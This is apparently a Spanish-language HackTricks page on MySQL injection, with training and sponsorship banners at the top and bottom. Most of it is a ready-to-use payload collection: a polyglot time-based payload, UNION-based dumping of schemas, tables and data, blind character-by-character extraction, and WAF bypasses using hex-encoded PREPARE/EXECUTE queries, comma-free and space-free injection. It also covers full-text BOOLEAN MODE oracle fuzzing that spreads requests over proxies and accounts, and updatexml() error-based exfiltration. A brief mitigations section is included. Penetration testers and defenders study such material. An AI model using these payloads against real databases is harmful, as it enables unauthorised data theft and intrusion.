MySQL injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Comentarios
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Funciones interesantes
Confirmar Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Funciones útiles
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Todas las injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flujo
Recuerda que en las versiones “modernas” de MySQL puedes sustituir “information_schema.tables” por “mysql.innodb_table_stats” (Esto podría ser útil para bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Solo 1 valor
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detectar número de columnas
Usando un simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Aprende aquí diferentes opciones para abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Ejecutar queries a través de Prepared Statements
Cuando stacked queries están permitidas, podría ser posible evadir WAFs asignando a una variable la representación hexadecimal de la consulta que quieres ejecutar (usando SET), y luego usar las sentencias PREPARE y EXECUTE de MySQL para finalmente ejecutar la consulta. Algo así:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Para más información, por favor consulte this blog post.
Information_schema alternativas
Recuerde que en “modern” versiones de MySQL puede sustituir information_schema.tables por mysql.innodb_table_stats o por sys.x$schema_flattened_keys o por sys.schema_table_statistics
MySQLinjection sin COMMAS
Select 2 columns sin usar ninguna coma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Recuperar valores sin el nombre de la columna
Si en algún momento conoces el nombre de la tabla pero no conoces el nombre de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra la flag, puedes intentar un bruteforce del contenido de la flag probando carácter por carácter:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Más info en https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Algunas aplicaciones sanitizan o analizan la entrada de usuario con funciones como sscanf("%128s", buf) que se detienen en el primer carácter de espacio.
Debido a que MySQL trata la secuencia /**/ como un comentario y como espacio en blanco, puede usarse para eliminar por completo los espacios normales del payload mientras se mantiene la consulta sintácticamente válida.
Ejemplo de time-based blind injection que evade el filtro de espacios:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Que la base de datos recibe como:
' OR SLEEP(5)-- -'
Esto es especialmente útil cuando:
- El buffer controlable está restringido en tamaño (p. ej.
%128s) y los espacios terminarían prematuramente la entrada. - Al inyectar a través de HTTP headers u otros campos donde los espacios normales son eliminados o se usan como separadores.
- Combinado con primitivas
INTO OUTFILEpara lograr RCE pre-auth completo (ver la sección MySQL File RCE).
Historial de MySQL
Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: sys.x$statement_analysis
Versión alternativas
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Esto no es una inyección SQL clásica. Cuando los desarrolladores pasan entrada de usuario a MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL ejecuta un conjunto amplio de operadores de búsqueda booleanos dentro de la cadena entre comillas. Muchas reglas WAF/SAST solo se centran en romper comillas y pasan por alto esta superficie.
Puntos clave:
- Operators are evaluated inside the quotes:
+(must include),-(must not include),*(trailing wildcard),"..."(exact phrase),()(grouping),</>/~(weights). See MySQL docs. - Esto permite pruebas de presencia/ausencia y de prefijo sin salir del literal de cadena, por ejemplo
AGAINST('+admin*' IN BOOLEAN MODE)para comprobar cualquier término que empiece poradmin. - Útil para construir oráculos como «¿alguna fila contiene un término con el prefijo X?» y para enumerar cadenas ocultas mediante expansión de prefijo.
Ejemplo de consulta construida por el backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Si la aplicación devuelve respuestas diferentes según si el conjunto de resultados está vacío (por ejemplo, redirección frente a mensaje de error), ese comportamiento se convierte en un Boolean oracle que puede usarse para enumerar datos privados, como títulos ocultos o eliminados.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: si el backend recorta 1–2 caracteres finales por palabra mediante una regex como
(\b.{1,2})(\s)|(\b.{1,2}$), envíaprefix*ZZ. El limpiador recorta losZZpero deja el*, por lo queprefix*sobrevive. - Early-break stripping: si el código elimina operadores por palabra pero deja de procesar cuando encuentra cualquier token con longitud ≥ min length, envía dos tokens: el primero es un token basura que cumple el umbral de longitud, el segundo lleva el operator payload. Por ejemplo:
&&&&& +jack*ZZ→ después de limpiar:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26es&,%2Bes+. El sufijoxD(o cualquier dos letras) es recortado por el cleaner, preservando{FUZZ}*.- Trata un redirect como “match” y una página de error como “no match”. No sigas redirects automáticamente para mantener el oracle observable.
Flujo de enumeración:
- Empieza con
{FUZZ} = a…z,0…9para encontrar coincidencias de primera letra vía+a*,+b*, … - Para cada prefijo positivo, ramifica:
a* → aa* / ab* / …. Repite hasta recuperar la cadena completa. - Distribuye las peticiones (proxies, múltiples cuentas) si la app aplica flood control.
Por qué los títulos con frecuencia leak mientras los contenidos no:
- Algunas apps aplican chequeos de visibilidad solo después de un MATCH preliminar en títulos/asuntos. Si el control de flujo depende del resultado “any results?” antes del filtrado, ocurren leaks de existencia.
Mitigaciones:
- Si no necesitas lógica Boolean, usa
IN NATURAL LANGUAGE MODEo trata la entrada del usuario como literal (escape/quote deshabilita operadores en otros modos). - Si se requiere modo Boolean, elimina o neutraliza todos los operadores Boolean (
+ - * " ( ) < > ~) para cada token (sin rupturas tempranas) después de la tokenización. - Aplica filtros de visibilidad/autorización antes de MATCH, o unifica las respuestas (timing/estado constante) cuando el conjunto de resultados está vacío vs. no vacío.
- Revisa características análogas en otros DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINStambién analizan operadores dentro de argumentos entrecomillados.
Notas:
- Prepared statements no protegen contra el abuso semántico de
REGEXPu operadores de búsqueda. Una entrada como.*sigue siendo una regex permisiva incluso dentro de unREGEXP '.*'entrecomillado. Usa allow-lists o protecciones explícitas.
Exfiltración basada en errores vía updatexml()
Cuando la aplicación solo devuelve errores SQL (no conjuntos de resultados crudos), puedes leak datos a través de las cadenas de error de MySQL:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() provoca un error XPATH que incrusta la cadena concatenada, por lo que el valor del SELECT interno aparece en la respuesta de error entre delimitadores (0x7e = ~). Itera LIMIT 1 OFFSET N para enumerar filas. Esto funciona incluso cuando la UI fuerza pruebas “boolean” porque el mensaje de error aún se muestra.
Otras guías de MYSQL injection
Referencias
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


